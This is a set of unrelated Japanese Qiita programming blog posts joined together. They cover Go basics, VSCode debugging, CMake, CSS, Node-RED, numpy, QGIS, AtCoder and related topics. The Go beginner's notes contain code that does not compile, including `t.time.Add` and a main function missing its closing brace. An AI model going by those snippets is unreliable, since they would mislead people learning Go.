OmniAICreator/Qiita-1.07M huggingface dataset:
半角英数文字をUnicodeの「上付き・下付き」文字に変換（CopePenで実装）

# 1.結論

<p class="codepen" data-height="750" data-default-tab="result" data-slug-hash="bGWZazp" data-user="kobe2018" style="height: 700px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;">
  <span>See the Pen <a href="https://codepen.io/kobe2018/pen/bGWZazp">
  </a> by F.M (<a href="https://codepen.io/kobe2018">@kobe2018</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>
<script async src="https://cpwebassets.codepen.io/assets/embed/ei.js"></script>

# 2.プログラムの操作方法
　上側のテキストエリアに半角英数字を入力し、「上付き」or「下付き」ボタンを押す。
　　↓
　下側のテキストエリアにUnicodeで定義された「上付き文字」「下付き文字」に変換され出力されます。
　
　尚、Unicodeで「上付き」「下付き」が未定義の文字は変換されず、そのまま出力されます。
　　（例:「Q」や「S」は未定義なのでそのまま出力）

# 3.補足説明
　Unicodeでは「[上付き文字](https://ja.wikipedia.org/wiki/%E4%B8%8A%E4%BB%98%E3%81%8D%E6%96%87%E5%AD%97)」「[下付き文字](https://ja.wikipedia.org/wiki/%E4%B8%8B%E4%BB%98%E3%81%8D%E6%96%87%E5%AD%97)」が定義されています。

　HTMLやMathMLのタグで表現する場合は以下
「上付き」は```A<sup>test</sup>```です。→　A<sup>test</sup>
「下付き」は```A<sub>test</sub>```です。→　A<sub>test</sub>

　LaTeX記法で表現する場合は以下
「上付き」は```A^{test}```です。→　A<sup>test</sup>
「下付き」は```A_{test}```です。→　A<sub>test</sub>

　タグでの表現はWebで幅広い活用でき、LaTeX記法は主に数式で活用できますが、テキストエディタしか使わない場合は、Unicode文字を使ったほうが便利です。

# 4.蛇足
　今回ような自作した文字変換ツールをQiita上ににCodePenで動くように置いとけば、どこでも利用可能な事を知る。
Go　学んだことその1

#Golang 初心者の学んだことまとめ

あたらしく学んだことをメモ程度に書いていこーと思います。(随時更新)
教材はudemyの
####package達
　  - time
　　- regex
　　- sort
　　- ioutil

###time
利用するpackageはtime

```golang
func main()  {
    t:=time.Now()  //現在時刻get
    fmt.Println(t)
    fmt.Println(t.Format(time.RFC3339),t.Year(),t.Minute()) 
       //RFC3339というフォーマットが一般的らしい...
  //〇〇分後の時刻を表示
        f2:=t.time.Add(1*time.Hour)  //現在時刻(t)の1時間後の時間を表示
  //〇〇分前の時刻を表示
        f3:=t.time.Add(-5*time.Minute)  //現在時刻の5分前を表示
}
```

###regex
利用するpackageはregexp
日本語で言う正規表現のこと
文字列のマッチングに使う。
スクレイピングとかに使うのかな...

```golang
func main(){
    match,_:=regexp.MatchString("a([a-z])+e","apple")  //aから始まってeで終わるならtrueを返す
		fmt.Println(match)  //output → true

		r2:=regexp.MustCompile("^/(edit|save|test)/([a-zA-Z0-9]+)$")
  //  ^/とすることでその前の部分を抜き出さない
  //editかsaveかtestが入るものをマッチさせる(urlとか)
  // ([a-zA-Z0-9]+)$とすることでeditとかtestの後に英数字が入ってもokになる
  
		rs:=r2.FindString("/test/aA0")  //引っかかった場合のみprintできる
		fmt.Println(rs)  ///test/aA0がprintされる

  //文字列の置き換え
    tu:="Taaaaryu is me"
	  rep:=regexp.MustCompile("[A-Za-z]*ryu") //~~ryuとなっている物を抽出
	  ta:=rep.ReplaceAllString(tu,"me")

	  fmt.Println(ta)  // me is me
}

```

###sort
利用するpackageはsort

```go
  func main(){
    a := []int{1, 2, 3, 2, 5, 1}
	s := []string{"nan", "Yuu", "hrh","Asa"}
	k := []struct {
		Name string
		Age  int
	}{
		{"Bob", 25},
		{"Nancy", 34},
		{"Ryuu", 15},
		{"auei", 30},
		{"Auei",2},
	}
	fmt.Println(a, s, k)
	sort.Ints(a)  //数字のソート
	sort.Strings(s)  //文字列のソート 大文字→小文字でソートされる
	sort.Slice(k,func(i,j int)bool{return k[i].Name<k[j].Name})//structの名前でソートする NameをAgeに変えれば数字を元にソート

	fmt.Println(a,s,k)
}

```

###context
サーバー系で使う？？
goroutineとかで関数を実行しているときにある特定の条件(**timeout**とか)でcancelしたいときに使う

```go
func longProcess(ctx context.Context,ch chan string){
	fmt.Println("run")
	time.Sleep(2*time.Second)
	fmt.Println("finish")
	ch<-"result" //chanに文字列を入力
}

func main() {

	mm:=make(chan string)
	ctx:=context.Background()  //contextの生成
    //ctx:=context.TODO()でもいい(普通はbackgroundを使う,使い道が決まってなかったらこっち)
	ctx,cancel:=context.WithTimeout(ctx,3*time.Second) //3秒を超えたらcancelを実行
	defer cancel()
	go longProcess(ctx,mm) //longProcessにctxの条件を加えて実行

	for{
		select {
		case <-ctx.Done(): //cancelが実行されたら..
			fmt.Println(ctx.Err())
			return
        case<-time.After(3*time.Second):  //WithTimeoutと同じ
            fmt.Println("timeout")
            return
		case <-mm:  //chanが受信したら..
			fmt.Println("success")
			return
		}
	}
```


chanの詳細なことはこちらを参照
https://qiita.com/taigamikami/items/fc798cdd6a4eaf9a7d5e

contextについてはこの記事により素晴らしいことが書いてあるので是非！！
https://qiita.com/yoshinori_hisakawa/items/a6608b29059a945fbbbd

###ioutil
この記事も参考にさせていただきました...
https://qiita.com/_kyamasan/items/fc485536ae2cbfaabeb4

でもGo1.16の変更の一つとしてio/ioutilの非推奨化がされて代わりにioやosパッケージが推奨されるらしい

```go
func main() {
	a,err:=ioutil.ReadFile("main.go")
	if err != nil{ //errに入力がされていたらprintする
		log.Fatalln(err)
	}
	fmt.Println(string(a)) //aの中にはbyte配列が入ってるのでstringで直してあげる

	r:=bytes.NewBuffer([]byte("abc"))  //
	b,_:=ioutil.ReadAll(r)  //一括読み込み
	fmt.Println(string(b))  //byte→stringに変換
}
```



こんな感じでつらつらと書き連ねてみましたが、間違っていることなどがあったら是非是非、教えてください！
VScodeでターミナルプロセス起動の失敗を回避してデバッグ機能を活用してpythonする

VScodeでpythonのpyファイルが実行はできるものの
デバッグができない悩みを解消したメモです。

実行環境
・システム　windows 10 Home
・エディタ　VScode 1.60.0
・インタプリンタAnaconda(仮想環境）

VScodeは補完機能がとても便利で、
記憶力よわよわな私を助けてくれます。

ですが、エラーが起きて、込み入った設定になると
少々手ごわいです。


今回の悩みは、


デバッグをしようとすると
「ターミナル起動プロセスに失敗しました」
と出てきてデバッグができない


というトラブルへの対応でした。


あれこれ、VScodeでターミナルのエラーについてのヘルプを読みましたが、
なかなか解決策へたどり着けず。


まず目につくアドバイスで
C:Users>ユーザー>AppData>Roaming>Code>User>setting.json
に関しての設定を

```setting.json
  "terminal.integrated.shell.windows": "C:\\Windows\\Sysnative\\cmd.exe",
    
```

するやつがありますが、

どうやらこれはわたしの問題には関係がないようでした。


悩み始めたから何カ月も経ってしまったところ

きょう下のリンクに答えがありました。

https://teratail.com/questions/294691

launch.json下記のように変更するとpythonでのデバッグが可能になります。
.vscodeフォルダ（Vscodeで開いたフォルダに作成されます）のなかに

下記のようにlaunch.jsonを作成します。

```launch.json
{
  // IntelliSense を使用して利用可能な属性を学べます。
  // 既存の属性の説明をホバーして表示します。
  // 詳細情報は次を確認してください: https://go.microsoft.com/fwlink/?linkid=830387
  "version": "0.2.0",
  "configurations": [
    {
      "name": "Python: Current File",
      "type": "python",
      "request": "launch",
      "program": "${file}",
      "console": "externalTerminal"
    },
    {
      "name": "Python: Current File",
      "type": "python",
      "request": "launch",
      "program": "${file}",
      "console": "integratedTerminal"
    }
  ]
}
```
デフォルトのintegratedTerminalのだと
件のエラーが出るみたいです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/694948/17f8e9b3-399e-e642-1892-af35bd6862c6.png)

黒いのが外部のターミナルとして開かれた
デバッグコンソールです。

とりあえず、デバッグで変数の中身をみれるようになりました。
嬉しい！


なお、jupyter notebookはではデバッグできてません。
VulkanのCMakeでずっこけたのでメモ 

# この記事について
VulkanをCMakeでビルドしようとしたらずっこけたのでメモ
Could NOT find Vulkan (missing: Vulkan_LIBRARY)のエラーが出て、
それを解決。
FindVulkan ("find_package(Vulkan REQUIRED)")を、
Projectを定義する前に使ってしまったら悪いらしい。

NGコード例

```
find_package(Vulkan REQUIRED)
project(my-vulkan-test CXX)
```
 
OKなコード

```
project(my-vulkan-test CXX)
find_package(Vulkan REQUIRED)
```

#結論

CMakeを使うときには `cmake_minimum_required`と`project`は先に定義して使うこと。
「ＣＳＳ完全に理解した」をほぼCSSのみで再現する

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1299544/ff52d6eb-5093-3651-a3e2-e71049fd263c.png)
Twitterとかでたまに見るこれ、実は再現するのは結構難しいのでは？と思いほぼCSSのみで再現することに。

# とりあえずHTMLを最低限書く

```html
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
    <div id="box"></div>
</body>
</html>
```
「ＣＳＳ完全に理解した」の文字もCSSでやりたいのでHTMLには`div`要素を置くだけにする。

# CSSを書いてく

本題のCSSを書いていく。

### ボックスの枠

```css
#box {
    font-size: 25px;
    position: relative;
    margin: 0;

    width: 7.5em;
    height: 4em;

    border: solid 1.5px black;
    border-radius: 20px;
}
```

あとで疑似要素を使うので`position: relative`を設定しておく。

また、幅と高さはフォントサイズを基準にするために単位は`em`を使用。

※`border`の幅を`1.5px`にしているが、`1px`とさほど変わらない。（拡大すると違う）

### 「ＣＳＳ完全に理解した」の文字

```css
#box::after {
    position: absolute;
    top: 0;
    right: -1.5em;

    width: 7em;

    font-size: inherit;
    white-space: pre;
    content: "ＣＳＳ\A完全に理解した";
}
```

ここで疑似要素の出番。

`position: absolute`を設定して、`#box`要素を基準にいい感じの位置になるように調整する。

また、`white-space: pre`を設定することで`content`の文字列で改行できるようにする。

# 完成

これで、おなじみの「ＣＳＳ完全に理解した」が完成した。

~~我ながら素晴らしい再現度だ~~
Node-RED 繰り返し処理でハマったメモ

Node-REDの基本的動作を理解していなかったNode-RED初心者のメモです。

## 問題となった処理

　以下のフローは、No.2のfunctionノードを起点に繰り返し処理を終端No.7まで順番に行われることを期待して作りました。ですが、結果は全く違ったものでした。

  ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/238338/1c5f581b-d03f-d5b3-f863-25ad835f149d.png)

[No.2の処理]

```javascript
// test: array data
let data = [];
for (let index = 0; index < 10; index++) {
    data.push(index);
}

// node.send: array
data.forEach(function (element) {
    msg.payload = element;
    node.send(msg);
});
```

### 期待動作（こうなると思っていた動作）

No.2を起点にNo.3～7の処理を順番に繰り返し処理するはず。
No.7の結果出力は全てOKとなるはず。

```:簡易フロー
1. inject: 処理開始
2. function: 繰り返し処理（10回 output[{payload:0},{payload:1}, ...,{payload:9}]）
3. change: flow.temp = payload(0)
4. change: result =  flow.temp(0);
5. switch: compare result(0)  === payload(0)
6. change: OK/NG判定
7. debug: 結果出力(OK)  
3. change: flow.temp = payload(0)
4. change: result =  flow.temp(0);
5. switch: compare result(0)  === payload(0)
6. change: OK/NG判定
7. debug: 結果出力(OK)  
…　※繰り返し
```

### 実際の動作

「`No.3 -> 4 -> 5 -> 6 -> 7 -> 3 -> 省略`」と進まず「`No.3,3,…,3(10回) -> 4,4,…,4(10回) -> 省略`」と**`ノード単位に繰り返し処理が実行`**されていました。

```:簡易フロー
1. inject: 処理開始
2. function: 繰り返し処理（10回 output[{payload:0},{payload:1}, ...,{payload:9}]）
3. change: flow.temp = payload(0)
3. change: flow.temp = payload(1)
   ～～省略～～　　　　　　
3. change: flow.temp = payload(9) **※注目箇所；No.3.changeノードを10回繰り返すため、flow.tempに(9)が設定される。**
4. change: result =  flow.temp(9);
4. change: result =  flow.temp(9);
    ～～省略～～　　　　　　
4. change: result =  flow.temp(9); **※注目箇所：No.4.changeノードを10回繰り返すが、全てresultに(9)が設定される。**
5. switch: compare result(9)  === payload(0)
5. switch: compare result(9)  === payload(1)
    ～～省略～～　　　　　　
5. switch: compare result(9)  === payload(9) **※注目箇所：最終データ以外は全て偽となる。**
6. change: OK/NG判定
6. change: OK/NG判定
    ～～省略～～　　　　　　
6. change: OK/NG判定)
7. debug: 結果出力(NG)
7. debug: 結果出力(NG)
    ～～省略～～　　　　　　
7. debug: 結果出力(OK)
```

[処理結果]

```cmd
NG
NG
NG
NG
NG
NG
NG
NG
NG
OK
```

##　期待通り動作させるためのフロー(2021/08/06:修正)

下記フローが良い方法なのか分かりませんが、期待通りに動作させることが出来ました。
**2021/08/06:修正：ループ処理に再要求された場合に正しく動作しないのを修正しました。**

このフローには、npmモジュールの`"node-red-contrib-simple-message-queue"`を使用しています。

実際に使用する場合は、デッドロックしないよう例外処理やタイムアウト処理を実装する必要があります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/238338/9214572f-60be-c095-1a03-3b8798050db2.png)


```:簡易フロー
1. inject: 処理開始
2. function: 繰り返し処理（10回 output[{payload:0},{payload:1}, ...,{payload:9}]）
3. simple-queue: option設定"Bypass first message?"で初回キューのみ取り出し。
4. change: flow.temp = payload(0)
5. change: result =  flow.temp(0);
6. switch: compare result(0)  === payload(0)
7. change: OK/NG判定
8. debug: 結果出力(OK)
9. change: trigger = "1"
10. link-out
11. link-in 
3. simple-queue: trigger(1)要求でキューを1個つ取り出す。
```

## 参考フロー(2021/08/06:修正)
**2021/08/06:修正：ループ処理に再要求された場合に正しく動作しないのを修正しました。**

[github:node-red-flow-retain-until-processed](https://github.com/sanlike0911/node-red-flow-retain-until-processed.git)
【Python演算処理】三次元配列を扱えるのはnumpyと…xarray？

どうやらSympyは**三次元配列**を扱えないらしい？
[【Python演算処理】微分の概念を高校数学段階からグレードアップ？](https://qiita.com/ochimusha01/items/bf5e5bcd824f0a920132)
[【Python演算処理】環論に立脚した全体像再構築②同値関係の再習](https://qiita.com/ochimusha01/items/0374f5579545f4981ec5)
気になって色々調べてみました。完全なメモ投稿…

#numpyの場合
numpyは標準で扱える様です。
[Python: 3次元配列のイメージ (numpy.array)]()
**確認用プログラム**

```python
 import numpy as np
    
 X = np.array([[[1,  2,  3],
                   [4,  5,  6]],
                  [[7,  8,  9],
                   [10, 11, 12]]])

# 最初の数字が三次元目の軸（奥行き方向）、2番目が二次元目の軸（縦）、3番目が一次元目（横）
print(X[0, 1, 2])
# 奥行き軸(axis=0)の0番目を取り出す
print(X[0, :, :])
# 縦軸(axis=1)の1番目を取り出す
print(X[:, 1, :])
```
**出力結果**

```python
6
[[1 2 3]
 [4 5 6]]
[[ 4  5  6]
 [10 11 12]]
```
なかなか頼もしいじゃないですか。時間があったらじっくり研究してみましょう(棒読み)。

#pandasの場合
pandasではかつてPanelオブジェクトがそれを担当していた様です。 
[pandasで3次元のデータ構造を扱う](https://qiita.com/ynakayama/items/e743d642455e525f402c)

ところがなくなってしまった様です。
[pandas.Panelクラス廃止されたけど、Pandasで3次元データを作成するには？](https://ts0818.hatenablog.com/entry/2021/01/23/104155)

代わりに台頭してきたのがxarray packageだとか。
[Pandasとセットで理解するxarray：データ構造編](https://astropengu.in/posts/29/)
[xarray を用いたデータ解析](https://qiita.com/fujiisoup/items/0d71995e54055e9708fc)

Panelもxarrayも「**ラベル付き多次元配列**」と呼ばれており、単なる三次元配列構造ではなさそうなのも気掛かりです。

#そもそも三次元配列操作そのものにニーズがない？
そういえばExelに(二次元概念を超越した操作を可能とする)タブ機能が追加されたのは。1990年代に彗星の如く現れたライバル表計算ソフトQuattro Proに対抗する為でした。
[Quattro Pro - Wikipedia](https://ja.wikipedia.org/wiki/Quattro_Pro)

>複数のワークシートをタブで切り替えて表示するユーザインタフェースを最初に採用した表計算ソフトであり、またオブジェクトをマウスの右ボタンでクリックすることでコンテキストメニューを表示するユーザインタフェースを最初に採用したWindows用のアプリケーションソフトある。このユーザインタフェースはやがてライバルであるMicrosoft Excelにも採用され、現在ではWindowsにおける標準的なユーザインタフェースとなっている。

本当に使いこなせる人間は人類のごく僅かに過ぎないとか？
[【雑記】表計算ソフト栄枯盛衰～むかし、Quattro Pro(クワトロ・プロ)というソフトウェアがあった～](https://note.com/prog_article5/n/nf8bc7899efc3)

というより、最大の要因は「**微積分演算**(およびそれと連動して機能する行列演算が)**がN次元操作を**(二次元配列まで使えれば事足りる)**連立一時方程式に書き換えてしまう為**」とも見て取れるのです。
[高校数学からヤコビアンに至るまで](https://qiita.com/bellbind/items/bd0411957e2363456ea1)

```math
{\int U(x,y,z)dV=\int_{0}^{2π}\int_{0}^{π}\int_{0}^{1}U(r,θ,φ)r^2\sinθdrdθdφ\\
=\int_{0}^{2π}\int_{0}^{π}\int_{0}^{1}\begin{vmatrix}
\frac{∂x}{∂r} & \frac{∂x}{∂θ}  & \frac{∂x}{∂φ}\\
\frac{∂y}{∂r} & \frac{∂y}{∂θ}  & \frac{∂y}{∂φ}\\
\frac{∂z}{∂r} & \frac{∂z}{∂θ} & \frac{∂z}{∂φ}
\end{vmatrix} drdθdφ
}
```

[【Python演算処理】特異点を巡る数理の自分なりのまとめ。](https://qiita.com/ochimusha01/items/61cb64e0fad62a5cb310)

「**面白い事になってきやがった**(次元大介)」…そんな感じで以下続報？
EPGStation 設定ファイル

cd EPGStation/config
nano config.yml

録画先
recorded:
    - name: recorded
      path: '録画先'
ライブ視聴・動画変換

thumbnail: '%ROOT%/thumbnail'
thumbnailSize: 480x270
thumbnailPosition: 5

ffmpeg: /usr/local/bin/ffmpeg
ffprobe: /usr/local/bin/ffprobe
を直してあげて

thumbnail: '%ROOT%/thumbnail'
thumbnailSize: 480x270
thumbnailPosition: 5

ffmpeg: /usr/bin/ffmpeg
ffprobe: /usr/bin/ffprobe

pm2 restart epgstation

に直してあげればライブ視聴と動画変換できるようになります
資料作成のポイント

# 背景

社内で共有する資料を作成する機会があり、勉強になったことがいくつもあるので備忘録として書き起こしております。


# 資料作成で使ったツール

Googleスライド

Googleスライドのようなクラウドツールを利用した理由が以下２点のためです
①レビューワーの人がスライドごとにコメントを残せるた的確に指摘しやすい
②指摘箇所をすぐに修正反映できる

# 資料作成時のポイント

本題の資料作成時のポイントは以下の通りです

* 読者（資料を読む人）を理解する
    * 読者の理解度によって、資料に書き加える情報の粒度が異なるため
* 資料を読んでもらって何がしたいのかを理解する
    * 資料作成したからには読んでもらう目的（情報共有だったり、課題解決のためだったり）が必ずあると思うので、その目的から脱線しないように意識する
* 状況によって意識するポイントを変える
    * 手順書等の資料作成：WhatとHowを意識する
    * 相談事項等の資料作成：WhatとWhyを意識する
* 自己レビューを忘れない
    * 自己レビューとはそのまんまの意味ですが、最初から最後まで自分で内容を確認すること。そうすることで誤字脱字がないかの確認や、情報の過不足、わかりずらいスライドの順番になっていないのか等の確認を行うことができる。
Pythonでディレクトリ配下のファイルを処理する（元ネタあり）

# はじめに

[Pythonでディレクトリ配下の全ファイルを１行ずつ処理する](http://takemikami.com/2021/06/25/Python-readlines-dir.html)というブログ記事で、できるだけネストせずにディレクトリ配下の全ファイルを処理するというお題を取り上げていました。コードをみるとコンテキストマネージャーとイテレータを組み合わせて、見事に2段のネストで実現されていました。これを見ながら「自分だったらどう書くかな」と思いトライしてみたのがこの記事です。

# 試してみたこと

## 実装方法その1

もし自分がこれをやろうとした時に最初に思いつくのがこんな実装です。`pathlib`使っているので見通しよく書けますね。

```python
from pathlib import Path
for fpath in Path("data").iterdir():
    if not fpath.is_file():
        continue
    with fpath.open() as fp:
        for ln in fp:
            print(ln.strip())
```

`Path.iterdir()`でディレクトリ以下のファイルおよびディレクトリを拾ってきて、ファイル以外の場合はスキップ、ファイルの場合はオープンして中身を一行ずつ出力しています。

でも残念ながら３段のネストになっちゃってます。

## 実装方法その2

なんとか2段のネストにならないかなと思って実装したがこちら。

```python
from pathlib import Path

for fpath in Path("data").iterdir():
    if not fpath.is_file():
        continue
    with fpath.open() as fp:
        print("".join(fp.readlines()), end="")
```

処理はほとんど同じですが、一行ずつ取ってくるのではなく `readlines()`を使って全ての行を取ってきてそれを連結して出力しています。2段にはなりましたが、これだとそれぞれのファイルと同じだけのメモリバッファが必要になってしまいます。そして「一行ずつ取ってきて」というお題には沿っていないですね。

## 実装方法その3

Pathlibをそのまま使うだけではダメっぽいので、それを包む何かを作ることを考えてみます。お題を再度見てみると、「ディレクトリからファイルを取り出す」というのと「ファイルから行を取り出す」というのを繰り返せば良さそう。ということで、最初にそこを作ってしまいます。

```python
for fpath in files_in_dir("data"):
    for ln in lines_in_file(fpath):
        print(ln)
```

うんうん、これで2段のネストの実装になっています。あとは `files_in_dir()`と`lines_in_file()`を実装すれば良いことになります。`files_in_dir()`の方は簡単でこんな風に実装できます。

```python
from pathlib import Path
def files_in_dir(dirname: str):
    return (f for f in Path(dirname).iterdir() if f.is_file())
```

`Path.iterdir()`の結果の中で `is_file()`がTrueのものだけを返すジェネレーターを返します。

問題は `lines_in_file()`の方ですが、ファイルを開くだけでなく適切に閉じなければならないところがちょっと難しい。でもこちらも`yield`使ってジェネレータにしちゃえば良さそう。

```python
def lines_in_file(fpath: Path):
    with fpath.open() as fp:
        for ln in fp:
            yield (ln.strip())
```

with文で`fpath.open()`しているので、このスコープを出たら開いたそのファイルは自動的に閉じられます。その途中で`ln.strip()`の値を返しちゃうとそのスコープから出ちゃいそうですが、`yield`なのでここのコンテキストを維持したまま値を返します。そして、取り出す行がなくなって for文を抜けると withのスコープからも外れてファイルが閉じられます。

# まとめ

思ったよりもスッキリ書けて満足ですが、もし「もっとこんな風に書けるぜ！」という方がいらっしゃったらぜひコメントください。
slackbotのinvalid_authエラーについて

#概要
今回は、勤怠管理アプリをslackbotを用いて開発しました。いつも通り、作成したものをgithubに入れました。次の日にそのアプリを起動すると、invalid_auth というエラーが出て、起動出来なくなってしまいました。

#解決法
簡単に言ってしまうと、slackbot_settings.pyをgithubに上げてしまい、tokenが無効化されたようでした。（githubにあげた瞬間に来たメールがその警告だったっぽい）なので、tokenを再生成して保存すればokです！
https://api.slack.com/apps
ここから、「your apps」に飛んで、Botsのtokenを再生成、下の方に行って、保存を押す。あとはtokenをslackbot_settings.pyに入れてあげるだけです。
出先で焦ったので、なるべくそのような人が減りますように😏
AtCoderログ：0072 - 三井住友信託銀行プログラミングコンテスト2019 B

# 問題

https://atcoder.jp/contests/sumitrust2019/tasks/sumitb2019_b

## 問題文
> 高橋君は ABC 洋菓子店でアップルパイをひとつ買い、そのとき $N$ 円を支払ったことを覚えています。
> この店で食料品を購入する際には $8$ パーセントの消費税が課されます。すなわち、税抜価格 $X$ 円のアップルパイを買う際には $X \times 1.08$ 円 (小数点以下切り捨て) を支払わなければなりません。
> 高橋君はアップルパイの税抜価格 $X$ を忘れてしまい、これを知りたくなりました。$N$ を入力として $X$ を求めるプログラムを書いてください。なお、$X$ は整数とします。
> ただし、考えられる税抜価格が複数存在する場合はそのうちのいずれか $1$ つを求めてください。また、高橋君が支払った金額 $N$ を覚え間違えている可能性もあるので、アップルパイの税抜価格として考えられるものが存在しない場合はその旨を報告してください。

## 制約
> ・$1 \le N \le 50000$
> ・$N$ は整数

## 収録されている問題セット
- [[BfB-E]\(AtCoder Problems Boot camp for beginners Easy 100\)](https://kenkoooo.com/atcoder/#/training/Boot%20camp%20for%20Beginners/1) #004 

# 回答
## 回答1 (AC)
アップルパイの値段 $X$ 円は支払金額 $X$ 円よりも少なく、$N$ の範囲は $1 \le N \le 50000$ となっているので、$X$ を $1$ から $50000$ までループを回すことで、アップルパイの値段を求めることができます。ただし、答えがない場合を想定する必要があります。コードは以下になりました。

計算量は $O(X)$ なので効率は良くありませんが、処理回数は $50000=5 \times 10^4$ 回程度なので、十分に処理可能です。

```C++:sumitb2019b-1.cpp
#include <bits/stdc++.h>
using namespace std;

int main() {
  int n;
  cin >> n;

  string answer = ":(";
  for ( int x=1; x<=50000; x++ ) {
    if ( floor(x*1.08)==n ) {
      answer = to_string(x);
    }
  }

  cout << answer << endl;
}
```

## 回答2 (AC)
繰り返しをしない方法を考えます。支払金額 $N$ は、値段 $X$ を $1.08$ 倍して小数点以下を切り捨てた値なので、$N = \lfloor 1.08X \rfloor$ と表すことが出来ます。従って、$1.08X$ は(小数点以下を切り捨てた値なので)$N$ 以上 $N+1$ 未満です。つまり $\frac{N}{1.08} \le X < \frac{N+1}{1.08}$ となっているはずです。
このとき左辺の小数点を切り上げた $\lceil \frac{N}{1.08} \rceil$ は $X$ の値の候補になっているので、この値段が右辺より小さければ、それを $X$ として出力すれば良いでしょう。コードは以下になりました。このコードでは繰り返し処理を用いていないので、計算量は $O(1)$ となります。

```C++:sumitb2019b-2.cpp
#include <bits/stdc++.h>
using namespace std;

int main() {
  int n;
  cin >> n;

  if ( ceil(n/1.08)<(n+1)/1.08 ) {
    cout << ceil(n/1.08) << endl;
  } else {
    cout << ":(" << endl;
  }
}
```

# 調べたこと
## [AtCoder の解説](https://atcoder.jp/contests/sumitrust2019/tasks/sumitb2019_b/editorial) → [ユーザ解説](https://blog.hamayanhamayan.com/entry/2019/12/03/224844)
回答1と同じ方針でした。

## [AtCoder の解説](https://atcoder.jp/contests/sumitrust2019/tasks/sumitb2019_b/editorial) → [コンテスト全体の解説](https://img.atcoder.jp/sumitrust2019/editorial.pdf)
回答1,2と同じ方針でした。

# リンク
## 前後の記事
- 前の記事 → [AtCoderログ：0071 - ABC 091 B](https://qiita.com/RoadLynton/items/23e3a2487a3a4b3d8d46)
- 次の記事 → [AtCoderログ：0073 - ABC 081 C](https://qiita.com/RoadLynton/items/84aa77982deb19a7f29b)
QGISでグリッドラインを表示する

下のような遺構図面にグリッドラインを上手に入れる方法をご紹介します。
![01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/60438/9eed2e36-9dd6-d840-d398-fb728ee3f0db.png)

## グリッドラインを作成する

グリッドラインの作成はさほど難しくはありません。

1.ベクタ→調査ツール→グリッドを作成　と進みます。
2.グリッドの範囲：Xmin,Xmax,Ymin,Ymax の順に入力
3.水平方向の間隔・垂直方向の間隔：5mとします。
4.「実行」
![02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/60438/10f7b4c2-9273-f954-1e39-10b574724974.png)

冒頭の図はここまでの手順で作成しています。

## グリッドの数値を表示する

今回は国土座標（世界測地系11系）をグリッドラインに設定しています。
X軸とY軸に座標値が表示されるようにしたいと思います。

グリッドデータは「left」,「top」,「right」,「bottom」の4属性があります。
東西ラインでは「top」と「bottom」が同じ数値になり、南北ラインでは「left」と「right」の数値が同じになります。
グリッドの数値を表示するために、これを利用します。
![03.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/60438/a7d3bb4a-39a8-450a-cd4f-c2328546fa92.png)

1.「レイヤプロパティ」→「ラベル」→「ルールに基づく定義」→「＋」をクリック
![04.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/60438/2cf2c350-39d4-2082-06cc-b966536b3401.png)

2.「フィルタ」：「"top" = "bottom"」
3.「ラベル」にチェック
4.「値（value）」：「top」
5.文字サイズはお好みで
![05.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/60438/016f91d6-6191-615b-1acb-e1e235eccc24.png)

「OK」をクリックするとグリッド数値が表示されます。
![06.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/60438/b443123d-3c43-18c2-1587-c2cb46f5b0b3.png)

同じように南北ラインも設定します。
南北ラインは「left」と「right」の数値が同じになるので、同様に「フィルタ」で条件式を設定します。

1.「レイヤプロパティ」→「ラベル」→「ルールに基づく定義」→「＋」をクリック
2.「フィルタ」：「"left" = "right"」
3.「ラベル」にチェック
4.「値（value）」：「left」
![07.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/60438/96db68ac-c13b-d14b-bdc1-d0dfe9efc11d.png)

「OK」をクリックすると南北ラインにもグリッド数値が表示されます。
![08.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/60438/f2717030-b152-d401-f0d8-a76a7d4e5a30.png)

## グリッド数値の表示位置をコントロールしたい

デフォルトではグリッド数値が真ん中に配置されてしまうので、これを端にもっていきます。

1.「レイヤプロパティ」→「ラベル」→「ルールに基づく定義」
2.「配置」を選択して、少し下の方にスクロール
3.「アンカー」のところにある「設定」をクリック

![09.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/60438/a3300f46-5e65-e5fe-ce4b-abd418444fa6.png)

4.デフォルトでは「線の中央」になっているので、「線の始点」を選択
5.「OK」をクリック
![10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/60438/5d986610-6f79-2144-cfff-217eb43958a4.png)

東西ラインのグリッド数値が画面左端に表示されます。
右端に表示させたい場合は、「線の終点」を選択します。
![11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/60438/27c6df53-570b-b46a-9ba9-8ca39c7584d9.png)

同じように南北ラインも「線の始点」に設定します。
方位記号やスケールなどを入れるとこのまま報告書に使える図版が仕上がります。
![13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/60438/d35fa60d-2d78-54e9-61be-8377d5c51620.png)
CUDA installation for Windows10 メモ

**すみませんでした、私の日本語はあまり上手ではありませんから、この記事をすべて英語で書きました。**
The official CUDA Installation Guide document is [here]("https://docs.nvidia.com/cuda/cuda-installation-guide-microsoft-windows/index.html#verify-installation").

1. Check your NVIDIA card is CUDA-Capable
1. Download the NVIDIA CUDA Toolkit
1. Install latest Microsoft Visual Studio
1. Install the CUDA Software
1. Verify the installation 

